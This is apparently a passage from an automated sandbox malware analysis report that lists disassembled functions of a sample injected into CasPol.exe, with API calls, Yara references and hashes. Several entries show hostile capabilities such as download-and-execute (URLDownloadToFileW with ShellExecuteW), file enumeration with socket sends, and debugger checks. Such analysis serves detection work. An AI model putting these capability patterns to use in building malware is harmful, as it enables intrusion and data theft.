                                                                                                                                                                  • Instruction Fuzzy Hash: 485173329041085ACB14FB65DD969DD7778AF50318F50417EB806B31E2EF38AB498B99
                                                                                                                                                                  Function 0044800F Relevance: 7.7, APIs: 5, Instructions: 171timeCOMMONLIBRARYCODE
                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                  APIs
                                                                                                                                                                  • GetTimeZoneInformation.KERNEL32(?,00000000,00000000,00000000,?,0045D478), ref: 00448079
                                                                                                                                                                  • WideCharToMultiByte.KERNEL32(00000000,00000000,0047179C,000000FF,00000000,0000003F,00000000,?,?), ref: 004480F1
                                                                                                                                                                  • WideCharToMultiByte.KERNEL32(00000000,00000000,004717F0,000000FF,?,0000003F,00000000,?), ref: 0044811E
                                                                                                                                                                  • _free.LIBCMT ref: 00448067
                                                                                                                                                                    • Part of subcall function 00446AC5: HeapFree.KERNEL32(00000000,00000000), ref: 00446ADB
                                                                                                                                                                    • Part of subcall function 00446AC5: GetLastError.KERNEL32(?,?,0044FA50,?,00000000,?,00000000,?,0044FCF4,?,00000007,?,?,00450205,?,?), ref: 00446AED
                                                                                                                                                                  • _free.LIBCMT ref: 00448233
                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                  • Source File: 0000001D.00000002.552749927.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                  • Snapshot File: hcaresult_29_2_400000_CasPol.jbxd
                                                                                                                                                                  Yara matches
                                                                                                                                                                  Similarity
                                                                                                                                                                  • API ID: ByteCharMultiWide_free$ErrorFreeHeapInformationLastTimeZone
                                                                                                                                                                  • String ID:
                                                                                                                                                                  • API String ID: 1286116820-0
                                                                                                                                                                  • Opcode ID: c081d488f34b9915cd9b048b6b498da186ffe618eda021c7ed3f66206b9427ec
                                                                                                                                                                  • Instruction ID: adcac59616ce0bf4d9b6f5e4feac4fc1c4b096f081e8a0f87c9a15d47e4c4f65
                                                                                                                                                                  • Opcode Fuzzy Hash: c081d488f34b9915cd9b048b6b498da186ffe618eda021c7ed3f66206b9427ec
                                                                                                                                                                  • Instruction Fuzzy Hash: 13510B719002099BE714DF69DC819AFB7BCEF41354F10456FE454A32A1EF389E46CB58
                                                                                                                                                                  Function 00406128 Relevance: 7.2, APIs: 2, Strings: 2, Instructions: 222filenetworkCOMMON
                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                  APIs
                                                                                                                                                                  • ShellExecuteW.SHELL32(00000000,open,00000000,00000000,00000000,00000001), ref: 00406234
                                                                                                                                                                  • URLDownloadToFileW.URLMON(00000000,00000000,00000004,00000000,00000000), ref: 00406318
                                                                                                                                                                  Strings
                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                  • Source File: 0000001D.00000002.552749927.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                  • Snapshot File: hcaresult_29_2_400000_CasPol.jbxd
                                                                                                                                                                  Yara matches
                                                                                                                                                                  Similarity
                                                                                                                                                                  • API ID: DownloadExecuteFileShell
                                                                                                                                                                  • String ID: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe$open
                                                                                                                                                                  • API String ID: 2825088817-4197237851
                                                                                                                                                                  • Opcode ID: 6e9ed81df7592736f00ea2213c3013647c852b2a2a077cd37a63e9025159bc8b
                                                                                                                                                                  • Instruction ID: f68f5450864a8ef507c8d3860f756bd811b48be2db930e76b40a644c5c1bb7bc
                                                                                                                                                                  • Opcode Fuzzy Hash: 6e9ed81df7592736f00ea2213c3013647c852b2a2a077cd37a63e9025159bc8b
                                                                                                                                                                  • Instruction Fuzzy Hash: 0761A33160434067CA14FA76C8569BE77A69F81718F00493FBC46772D6EF3C9A05C69B
                                                                                                                                                                  Function 00406AC2 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 86fileCOMMON
                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                  APIs
                                                                                                                                                                  • FindFirstFileW.KERNEL32(00000000,?,?,?,00000000), ref: 00406ADD
                                                                                                                                                                  • FindNextFileW.KERNEL32(00000000,?,?,?,00000000), ref: 00406BA5
                                                                                                                                                                    • Part of subcall function 00404468: send.WS2_32(?,00000000,00000000,00000000), ref: 004044FD
                                                                                                                                                                  Strings
                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                  • Source File: 0000001D.00000002.552749927.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                  • Snapshot File: hcaresult_29_2_400000_CasPol.jbxd
                                                                                                                                                                  Yara matches
                                                                                                                                                                  Similarity
                                                                                                                                                                  • API ID: FileFind$FirstNextsend
                                                                                                                                                                  • String ID: x@G$x@G
                                                                                                                                                                  • API String ID: 4113138495-3390264752
                                                                                                                                                                  • Opcode ID: be8fdfc8a6072efbca1459ab7643d284853c2ddcf9d8b62b0637e10f69e8db4b
                                                                                                                                                                  • Instruction ID: 9df0c8526107c53e8273efc1e688d8f669138e67c86485f4ac558c26d22f9560
                                                                                                                                                                  • Opcode Fuzzy Hash: be8fdfc8a6072efbca1459ab7643d284853c2ddcf9d8b62b0637e10f69e8db4b
                                                                                                                                                                  • Instruction Fuzzy Hash: B42147725043015BC714FB61D8959AF77A8AFD1358F40093EF996A31D1EF38AA088A9B
                                                                                                                                                                  Function 0041BB77 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 83COMMON
                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                  APIs
                                                                                                                                                                  • SystemParametersInfoW.USER32(00000014,00000000,00000000,00000003), ref: 0041BC6C
                                                                                                                                                                    • Part of subcall function 004126D2: RegCreateKeyA.ADVAPI32(80000001,Control Panel\Desktop,004655B0), ref: 004126E1
                                                                                                                                                                    • Part of subcall function 004126D2: RegSetValueExA.ADVAPI32(004655B0,?,00000000,?,00000000,00000000), ref: 00412709
                                                                                                                                                                    • Part of subcall function 004126D2: RegCloseKey.ADVAPI32(004655B0), ref: 00412714
                                                                                                                                                                  Strings
                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                  • Source File: 0000001D.00000002.552749927.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                  • Snapshot File: hcaresult_29_2_400000_CasPol.jbxd
                                                                                                                                                                  Yara matches
                                                                                                                                                                  Similarity
                                                                                                                                                                  • API ID: CloseCreateInfoParametersSystemValue
                                                                                                                                                                  • String ID: Control Panel\Desktop$TileWallpaper$WallpaperStyle
                                                                                                                                                                  • API String ID: 4127273184-3576401099
                                                                                                                                                                  • Opcode ID: b2749757bbb715b84591827a24ab2664cb1dcc6a43466099e0f50718dd789739
                                                                                                                                                                  • Instruction ID: a6c166168c7895b99543370299e99232025f4d6daba66cbb636fef562e17b9dc
                                                                                                                                                                  • Opcode Fuzzy Hash: b2749757bbb715b84591827a24ab2664cb1dcc6a43466099e0f50718dd789739
                                                                                                                                                                  • Instruction Fuzzy Hash: 06112432B8060433D514303A4E6FBAE1806D356B60FA4415FF6026A6DAFA9E5AE103DF
                                                                                                                                                                  Function 00408DA7 Relevance: 6.2, APIs: 4, Instructions: 206fileCOMMON
                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                  APIs
                                                                                                                                                                  • __EH_prolog.LIBCMT ref: 00408DAC
                                                                                                                                                                  • FindFirstFileW.KERNEL32(00000000,?), ref: 00408E24
                                                                                                                                                                  • FindNextFileW.KERNEL32(00000000,?), ref: 00408E4D
                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                  • Source File: 0000001D.00000002.552749927.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                  • Snapshot File: hcaresult_29_2_400000_CasPol.jbxd
                                                                                                                                                                  Yara matches
                                                                                                                                                                  Similarity
                                                                                                                                                                  • API ID: FileFind$FirstH_prologNext
                                                                                                                                                                  • String ID:
                                                                                                                                                                  • API String ID: 301083792-0
                                                                                                                                                                  • Opcode ID: 0245cb435e7972fa9dc1819fe4f867f76e5734f3076513a46e64ed25397209d2
                                                                                                                                                                  • Instruction ID: 60446431aa0b45b5fc099c057f6d50f3e7887136e12703af2d86415be67689ac
                                                                                                                                                                  • Opcode Fuzzy Hash: 0245cb435e7972fa9dc1819fe4f867f76e5734f3076513a46e64ed25397209d2
                                                                                                                                                                  • Instruction Fuzzy Hash: 357140328001099BCB15EBA1DC919EE7778AF54318F10427FE856B71E2EF386E45CB98
                                                                                                                                                                  Function 00450E6A Relevance: 4.7, APIs: 3, Instructions: 205COMMON
                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                  APIs
                                                                                                                                                                    • Part of subcall function 00446EBF: GetLastError.KERNEL32(?,?,0043931C,?,?,?,0043E4CD,?,?,?,?,00000000,?,?,0042CE53,0000003B), ref: 00446EC3
                                                                                                                                                                    • Part of subcall function 00446EBF: _free.LIBCMT ref: 00446EF6
                                                                                                                                                                    • Part of subcall function 00446EBF: SetLastError.KERNEL32(00000000,0043E4CD,?,?,?,?,00000000,?,?,0042CE53,0000003B,?,00000041,00000000,00000000), ref: 00446F37
                                                                                                                                                                    • Part of subcall function 00446EBF: _abort.LIBCMT ref: 00446F3D
                                                                                                                                                                    • Part of subcall function 00446EBF: _free.LIBCMT ref: 00446F1E
                                                                                                                                                                    • Part of subcall function 00446EBF: SetLastError.KERNEL32(00000000,0043E4CD,?,?,?,?,00000000,?,?,0042CE53,0000003B,?,00000041,00000000,00000000), ref: 00446F2B
                                                                                                                                                                  • GetLocaleInfoW.KERNEL32(00000000,?,?,00000078), ref: 00450EBE
                                                                                                                                                                  • GetLocaleInfoW.KERNEL32(00000000,?,?,00000078), ref: 00450F0F
                                                                                                                                                                  • GetLocaleInfoW.KERNEL32(00000000,?,?,00000078), ref: 00450FCF
                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                  • Source File: 0000001D.00000002.552749927.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                  • Snapshot File: hcaresult_29_2_400000_CasPol.jbxd
                                                                                                                                                                  Yara matches
                                                                                                                                                                  Similarity
                                                                                                                                                                  • API ID: ErrorInfoLastLocale$_free$_abort
                                                                                                                                                                  • String ID:
                                                                                                                                                                  • API String ID: 2829624132-0
                                                                                                                                                                  • Opcode ID: 022617d048d67c565bd8cd478daba609af81f9e307d0efc84ddd0a3e182c2dec
                                                                                                                                                                  • Instruction ID: e92eb603d23812efeda5bde14236c6fbce748c008cf001f3fb8de25b7fcb8669
                                                                                                                                                                  • Opcode Fuzzy Hash: 022617d048d67c565bd8cd478daba609af81f9e307d0efc84ddd0a3e182c2dec
                                                                                                                                                                  • Instruction Fuzzy Hash: AC61D3365002079FDB289F24CD82BBB77A8EF04706F1041BBED05C6696E778D989DB58
                                                                                                                                                                  Function 0043A65D Relevance: 4.6, APIs: 3, Instructions: 78COMMONLIBRARYCODE
                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                  APIs
                                                                                                                                                                  • IsDebuggerPresent.KERNEL32(?,?,?,?,?,?), ref: 0043A755
                                                                                                                                                                  • SetUnhandledExceptionFilter.KERNEL32 ref: 0043A75F
                                                                                                                                                                  • UnhandledExceptionFilter.KERNEL32(?), ref: 0043A76C
                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                  • Source File: 0000001D.00000002.552749927.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                  • Snapshot File: hcaresult_29_2_400000_CasPol.jbxd
                                                                                                                                                                  Yara matches
                                                                                                                                                                  Similarity
                                                                                                                                                                  • API ID: ExceptionFilterUnhandled$DebuggerPresent
                                                                                                                                                                  • String ID:
                                                                                                                                                                  • API String ID: 3906539128-0
                                                                                                                                                                  • Opcode ID: 3fa352bae2dd0906ed67bad857870cf194ce26166e1b5da63b4ea542d53f5057
                                                                                                                                                                  • Instruction ID: 15fc2c217458336097e8e19d69e2940e7c5a4b77666d4e23b7e272f62fea865b
                                                                                                                                                                  • Opcode Fuzzy Hash: 3fa352bae2dd0906ed67bad857870cf194ce26166e1b5da63b4ea542d53f5057
                                                                                                                                                                  • Instruction Fuzzy Hash: 2D31D47490121CABCB21DF64D98979DBBB8BF08310F5052EAE81CA7251E7349F81CF49
                                                                                                                                                                  Function 0043293A Relevance: 4.5, APIs: 3, Instructions: 30encryptionCOMMON
                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                  APIs
                                                                                                                                                                  • CryptAcquireContextA.ADVAPI32(?,00000000,00000000,00000001,F0000000,?,00000001,004326C2,00000024,?,?,?), ref: 0043294C
                                                                                                                                                                  • CryptGenRandom.ADVAPI32(?,?,?,?,?,?,?,?,?,0042CBBE,?), ref: 00432962
                                                                                                                                                                  • CryptReleaseContext.ADVAPI32(?,00000000,?,?,?,?,?,?,0042CBBE,?), ref: 00432974
                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                  • Source File: 0000001D.00000002.552749927.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                  • Snapshot File: hcaresult_29_2_400000_CasPol.jbxd
                                                                                                                                                                  Yara matches
                                                                                                                                                                  Similarity
                                                                                                                                                                  • API ID: Crypt$Context$AcquireRandomRelease
                                                                                                                                                                  • String ID:
                                                                                                                                                                  • API String ID: 1815803762-0
                                                                                                                                                                  • Opcode ID: 04772303a0a25dfd0b8e93efaf4bd4cd6a07a437a7117abaa9b2762516ca9460
                                                                                                                                                                  • Instruction ID: 80435fde6f6b62f03973a002229794bf261f16e8857de4c024377aa862d1bdf3
                                                                                                                                                                  • Opcode Fuzzy Hash: 04772303a0a25dfd0b8e93efaf4bd4cd6a07a437a7117abaa9b2762516ca9460
                                                                                                                                                                  • Instruction Fuzzy Hash: 11E06D31308211BBEB310E25BC08F573F94AF89B71F71053AB211E40E4C2A188419A1C
                                                                                                                                                                  Function 0044D5E9 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 114COMMON
                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                  Strings
                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                  • Source File: 0000001D.00000002.552749927.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                  • Snapshot File: hcaresult_29_2_400000_CasPol.jbxd
                                                                                                                                                                  Yara matches
                                                                                                                                                                  Similarity
                                                                                                                                                                  • API ID:
                                                                                                                                                                  • String ID: .
                                                                                                                                                                  • API String ID: 0-248832578
                                                                                                                                                                  • Opcode ID: abd6fd6b538380b102c55790d6b56a2ac58ff5115e1efa51d285ee8eb71cff1a
                                                                                                                                                                  • Instruction ID: db76f937e81630575b2700384d205b0ac401e8f874fa32e43cac1aabc581782c
                                                                                                                                                                  • Opcode Fuzzy Hash: abd6fd6b538380b102c55790d6b56a2ac58ff5115e1efa51d285ee8eb71cff1a
                                                                                                                                                                  • Instruction Fuzzy Hash: CB310471900209AFEB249E79CC84EEB7BBDDB86318F1101AEF91897251E6389D458B64
                                                                                                                                                                  Function 00450D42 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 63COMMONLIBRARYCODE
                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                  APIs
                                                                                                                                                                    • Part of subcall function 00446EBF: GetLastError.KERNEL32(?,?,0043931C,?,?,?,0043E4CD,?,?,?,?,00000000,?,?,0042CE53,0000003B), ref: 00446EC3
                                                                                                                                                                    • Part of subcall function 00446EBF: _free.LIBCMT ref: 00446EF6
                                                                                                                                                                    • Part of subcall function 00446EBF: SetLastError.KERNEL32(00000000,0043E4CD,?,?,?,?,00000000,?,?,0042CE53,0000003B,?,00000041,00000000,00000000), ref: 00446F37
                                                                                                                                                                    • Part of subcall function 00446EBF: _abort.LIBCMT ref: 00446F3D
                                                                                                                                                                  • EnumSystemLocalesW.KERNEL32(00450E6A,00000001,00000000,?,<D,?,00451497,00000000,?,?,?), ref: 00450DB4
                                                                                                                                                                  Strings
                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                  • Source File: 0000001D.00000002.552749927.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                  • Snapshot File: hcaresult_29_2_400000_CasPol.jbxd
                                                                                                                                                                  Yara matches
                                                                                                                                                                  Similarity
                                                                                                                                                                  • API ID: ErrorLast$EnumLocalesSystem_abort_free
                                                                                                                                                                  • String ID: <D
                                                                                                                                                                  • API String ID: 1084509184-3866323178
                                                                                                                                                                  • Opcode ID: 99518e0148a584110f8bf4689e731d5402797eff59b4f7bbd4ab81c0230e503e
                                                                                                                                                                  • Instruction ID: b1cdb4a87285138648e71eec5b58018a028c0508cbf90fbfa4a5e64eba390ba2
                                                                                                                                                                  • Opcode Fuzzy Hash: 99518e0148a584110f8bf4689e731d5402797eff59b4f7bbd4ab81c0230e503e
                                                                                                                                                                  • Instruction Fuzzy Hash: 9C11293B2007055FDB189F79D8916BAB7A1FF8031AB14442DE94647741D375B846C744
                                                                                                                                                                  Function 00450DDD Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 42COMMONLIBRARYCODE
                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                  APIs
                                                                                                                                                                    • Part of subcall function 00446EBF: GetLastError.KERNEL32(?,?,0043931C,?,?,?,0043E4CD,?,?,?,?,00000000,?,?,0042CE53,0000003B), ref: 00446EC3
                                                                                                                                                                    • Part of subcall function 00446EBF: _free.LIBCMT ref: 00446EF6
                                                                                                                                                                    • Part of subcall function 00446EBF: SetLastError.KERNEL32(00000000,0043E4CD,?,?,?,?,00000000,?,?,0042CE53,0000003B,?,00000041,00000000,00000000), ref: 00446F37
                                                                                                                                                                    • Part of subcall function 00446EBF: _abort.LIBCMT ref: 00446F3D
                                                                                                                                                                  • EnumSystemLocalesW.KERNEL32(004510BA,00000001,?,?,<D,?,0045145B,<D,?,?,?,?,?,00443CEC,?,?), ref: 00450E29
                                                                                                                                                                  Strings
                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                  • Source File: 0000001D.00000002.552749927.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                  • Snapshot File: hcaresult_29_2_400000_CasPol.jbxd
                                                                                                                                                                  Yara matches
                                                                                                                                                                  Similarity
                                                                                                                                                                  • API ID: ErrorLast$EnumLocalesSystem_abort_free
                                                                                                                                                                  • String ID: <D
                                                                                                                                                                  • API String ID: 1084509184-3866323178
                                                                                                                                                                  • Opcode ID: e0c48b72e2c1269c4cdc51d0e461bd75820cdd7fcb75359b91497d16354a5322
                                                                                                                                                                  • Instruction ID: d323619e2976bd52c5edaa4f55efd93dda7e8b303aa23e489220a9c0c916f3e4
                                                                                                                                                                  • Opcode Fuzzy Hash: e0c48b72e2c1269c4cdc51d0e461bd75820cdd7fcb75359b91497d16354a5322
                                                                                                                                                                  • Instruction Fuzzy Hash: 5BF0223A2003045FDB145F3AD882AAB7B95EF81729B25842EFD058B782D275AC42C644
                                                                                                                                                                  Function 00447597 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 37COMMONLIBRARYCODE
                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                  APIs
                                                                                                                                                                  • GetLocaleInfoW.KERNEL32(00000000,00000002,00000000,?,20001004,?,20001004,?,00000002,?,?,?,?,00000004), ref: 004475EA
                                                                                                                                                                  Strings
                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                  • Source File: 0000001D.00000002.552749927.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                  • Snapshot File: hcaresult_29_2_400000_CasPol.jbxd
                                                                                                                                                                  Yara matches
                                                                                                                                                                  Similarity
                                                                                                                                                                  • API ID: InfoLocale
                                                                                                                                                                  • String ID: GetLocaleInfoEx
                                                                                                                                                                  • API String ID: 2299586839-2904428671
                                                                                                                                                                  • Opcode ID: e6c87920e06762166a5833a65f3cc1d4ab5ad226655bcee6b6e0faca9150eed0
                                                                                                                                                                  • Instruction ID: 80a81796b135a3e0eaabc3ca7fb48afb6b687e063e78a0117ef0368584b3b56e
                                                                                                                                                                  • Opcode Fuzzy Hash: e6c87920e06762166a5833a65f3cc1d4ab5ad226655bcee6b6e0faca9150eed0
                                                                                                                                                                  • Instruction Fuzzy Hash: 82F0F031A44308BBDB11AF61EC06F6E7B25EF04712F00416AFC046A2A2CB359E11969E
                                                                                                                                                                  Function 00450A7F Relevance: 3.2, APIs: 2, Instructions: 236COMMONLIBRARYCODE
                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                  APIs
                                                                                                                                                                    • Part of subcall function 00446EBF: GetLastError.KERNEL32(?,?,0043931C,?,?,?,0043E4CD,?,?,?,?,00000000,?,?,0042CE53,0000003B), ref: 00446EC3
                                                                                                                                                                    • Part of subcall function 00446EBF: _free.LIBCMT ref: 00446EF6
                                                                                                                                                                    • Part of subcall function 00446EBF: SetLastError.KERNEL32(00000000,0043E4CD,?,?,?,?,00000000,?,?,0042CE53,0000003B,?,00000041,00000000,00000000), ref: 00446F37
                                                                                                                                                                    • Part of subcall function 00446EBF: _abort.LIBCMT ref: 00446F3D
                                                                                                                                                                  • IsValidCodePage.KERNEL32(00000000,?,?,?,?,?,?,00443CF3,?,?,?,?,?,?,00000004), ref: 00450B61
                                                                                                                                                                  • GetLocaleInfoW.KERNEL32(00000000,?,?,00000078,00443CF3,00000000,00443E13), ref: 00450CA2
                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                  • Source File: 0000001D.00000002.552749927.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                  • Snapshot File: hcaresult_29_2_400000_CasPol.jbxd
                                                                                                                                                                  Yara matches
                                                                                                                                                                  Similarity
                                                                                                                                                                  • API ID: ErrorLast$CodeInfoLocalePageValid_abort_free
                                                                                                                                                                  • String ID:
                                                                                                                                                                  • API String ID: 1661935332-0
                                                                                                                                                                  • Opcode ID: 11e9d858be2eef57e51fe3ee5abaff11ba74f3cf781d1ad02b19bd3dc5989495
                                                                                                                                                                  • Instruction ID: a02e79dc60b90d06ce6287b0e519d5a2a37574338541b46fb9e412c2f7ec0900
                                                                                                                                                                  • Opcode Fuzzy Hash: 11e9d858be2eef57e51fe3ee5abaff11ba74f3cf781d1ad02b19bd3dc5989495
                                                                                                                                                                  • Instruction Fuzzy Hash: D7613B79600306AAD729AB75CC82AAB73ACEF05316F14052FFD05D7243E778E909C768
                                                                                                                                                                  Function 004510BA Relevance: 1.6, APIs: 1, Instructions: 83COMMON
                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                  APIs
                                                                                                                                                                    • Part of subcall function 00446EBF: GetLastError.KERNEL32(?,?,0043931C,?,?,?,0043E4CD,?,?,?,?,00000000,?,?,0042CE53,0000003B), ref: 00446EC3
                                                                                                                                                                    • Part of subcall function 00446EBF: _free.LIBCMT ref: 00446EF6
                                                                                                                                                                    • Part of subcall function 00446EBF: SetLastError.KERNEL32(00000000,0043E4CD,?,?,?,?,00000000,?,?,0042CE53,0000003B,?,00000041,00000000,00000000), ref: 00446F37
                                                                                                                                                                    • Part of subcall function 00446EBF: _abort.LIBCMT ref: 00446F3D
                                                                                                                                                                    • Part of subcall function 00446EBF: _free.LIBCMT ref: 00446F1E
                                                                                                                                                                    • Part of subcall function 00446EBF: SetLastError.KERNEL32(00000000,0043E4CD,?,?,?,?,00000000,?,?,0042CE53,0000003B,?,00000041,00000000,00000000), ref: 00446F2B
                                                                                                                                                                  • GetLocaleInfoW.KERNEL32(00000000,?,?,00000078), ref: 0045110E
                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                  • Source File: 0000001D.00000002.552749927.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                  • Snapshot File: hcaresult_29_2_400000_CasPol.jbxd
                                                                                                                                                                  Yara matches
                                                                                                                                                                  Similarity
                                                                                                                                                                  • API ID: ErrorLast$_free$InfoLocale_abort
                                                                                                                                                                  • String ID:
                                                                                                                                                                  • API String ID: 1663032902-0
                                                                                                                                                                  • Opcode ID: 9286f156abac91c7ed9d9ee6f3e5b08bc3c26a4b89b9db52a82557d4143127a2
                                                                                                                                                                  • Instruction ID: 725ff80feb3504da526bb6f16fdbe645276de1ecdd37ac2f1e7666d8a95350e0
                                                                                                                                                                  • Opcode Fuzzy Hash: 9286f156abac91c7ed9d9ee6f3e5b08bc3c26a4b89b9db52a82557d4143127a2
                                                                                                                                                                  • Instruction Fuzzy Hash: 2D21B332500606ABDB249A25DC46B7B73A8EB09316F1041BBFE01C6252EB79DD48CB99
                                                                                                                                                                  Function 004512EA Relevance: 1.5, APIs: 1, Instructions: 46COMMON
                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                  APIs
                                                                                                                                                                    • Part of subcall function 00446EBF: GetLastError.KERNEL32(?,?,0043931C,?,?,?,0043E4CD,?,?,?,?,00000000,?,?,0042CE53,0000003B), ref: 00446EC3
                                                                                                                                                                    • Part of subcall function 00446EBF: _free.LIBCMT ref: 00446EF6
                                                                                                                                                                    • Part of subcall function 00446EBF: SetLastError.KERNEL32(00000000,0043E4CD,?,?,?,?,00000000,?,?,0042CE53,0000003B,?,00000041,00000000,00000000), ref: 00446F37
                                                                                                                                                                    • Part of subcall function 00446EBF: _abort.LIBCMT ref: 00446F3D
                                                                                                                                                                  • GetLocaleInfoW.KERNEL32(?,20000001,?,00000002,?,00000000,?,?,00451088,00000000,00000000,?), ref: 00451316
                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                  • Source File: 0000001D.00000002.552749927.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                  • Snapshot File: hcaresult_29_2_400000_CasPol.jbxd
                                                                                                                                                                  Yara matches
                                                                                                                                                                  Similarity
                                                                                                                                                                  • API ID: ErrorLast$InfoLocale_abort_free
                                                                                                                                                                  • String ID:
                                                                                                                                                                  • API String ID: 2692324296-0
                                                                                                                                                                  • Opcode ID: b6b1206c8d774c000a1b4b507e47eef55c4aaf57ff81984432bbf3fd36f42e7a
                                                                                                                                                                  • Instruction ID: 964a9937ac5a020d26487979adcc3deadbef587b10f76395f6381cc8137ce6dd
                                                                                                                                                                  • Opcode Fuzzy Hash: b6b1206c8d774c000a1b4b507e47eef55c4aaf57ff81984432bbf3fd36f42e7a
                                                                                                                                                                  • Instruction Fuzzy Hash: 10F07D32500111BBEB286A25CC16BFF7758EB00716F15046BEC06A3651FA38FD49C6D4
                                                                                                                                                                  Function 0041A7A2 Relevance: 1.5, APIs: 1, Instructions: 40COMMON
                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                  APIs
                                                                                                                                                                  • GetUserNameW.ADVAPI32(?,0040DFC3), ref: 0041A7D7
                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                  • Source File: 0000001D.00000002.552749927.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                  • Snapshot File: hcaresult_29_2_400000_CasPol.jbxd
                                                                                                                                                                  Yara matches
                                                                                                                                                                  Similarity
                                                                                                                                                                  • API ID: NameUser
                                                                                                                                                                  • String ID:
                                                                                                                                                                  • API String ID: 2645101109-0
                                                                                                                                                                  • Opcode ID: b83c9b6e74ee29b4b3c5d203829dc1b50a3012795622bded812fc81b4dbbb1d6
                                                                                                                                                                  • Instruction ID: 0a408ea7b536296bc4698588bf682dce528bd2697060893402f21fe22c13e40a
                                                                                                                                                                  • Opcode Fuzzy Hash: b83c9b6e74ee29b4b3c5d203829dc1b50a3012795622bded812fc81b4dbbb1d6
                                                                                                                                                                  • Instruction Fuzzy Hash: 8801FF7290011CAADB14EB90DC45ADDBBBCEF44715F10017AB501B21D5EFB4AB898A98
                                                                                                                                                                  Function 004470AE Relevance: 1.5, APIs: 1, Instructions: 34COMMONLIBRARYCODE
                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                  APIs
                                                                                                                                                                    • Part of subcall function 00444ACC: EnterCriticalSection.KERNEL32(?,?,0044225B,00000000,0046DAC0,0000000C,00442216,?,?,?,00448739,?,?,00446F74,00000001,00000364), ref: 00444ADB
                                                                                                                                                                  • EnumSystemLocalesW.KERNEL32(00447068,00000001,0046DC48,0000000C), ref: 004470E6
                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                  • Source File: 0000001D.00000002.552749927.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                  • Snapshot File: hcaresult_29_2_400000_CasPol.jbxd
                                                                                                                                                                  Yara matches
                                                                                                                                                                  Similarity
                                                                                                                                                                  • API ID: CriticalEnterEnumLocalesSectionSystem
                                                                                                                                                                  • String ID:
